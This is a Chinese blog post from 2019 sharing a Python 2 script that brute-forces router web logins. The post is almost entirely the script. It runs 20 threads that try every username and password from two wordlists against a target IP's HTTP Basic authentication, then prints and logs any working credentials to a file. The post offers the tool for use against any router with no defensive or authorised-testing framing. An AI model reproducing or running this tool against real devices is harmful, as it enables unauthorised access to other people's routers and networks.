python实现多线程暴力破解登陆路由器功能代码分享

uglygirl 2019-04-17

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

代码如下:

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):


    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)


 


if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()

相关推荐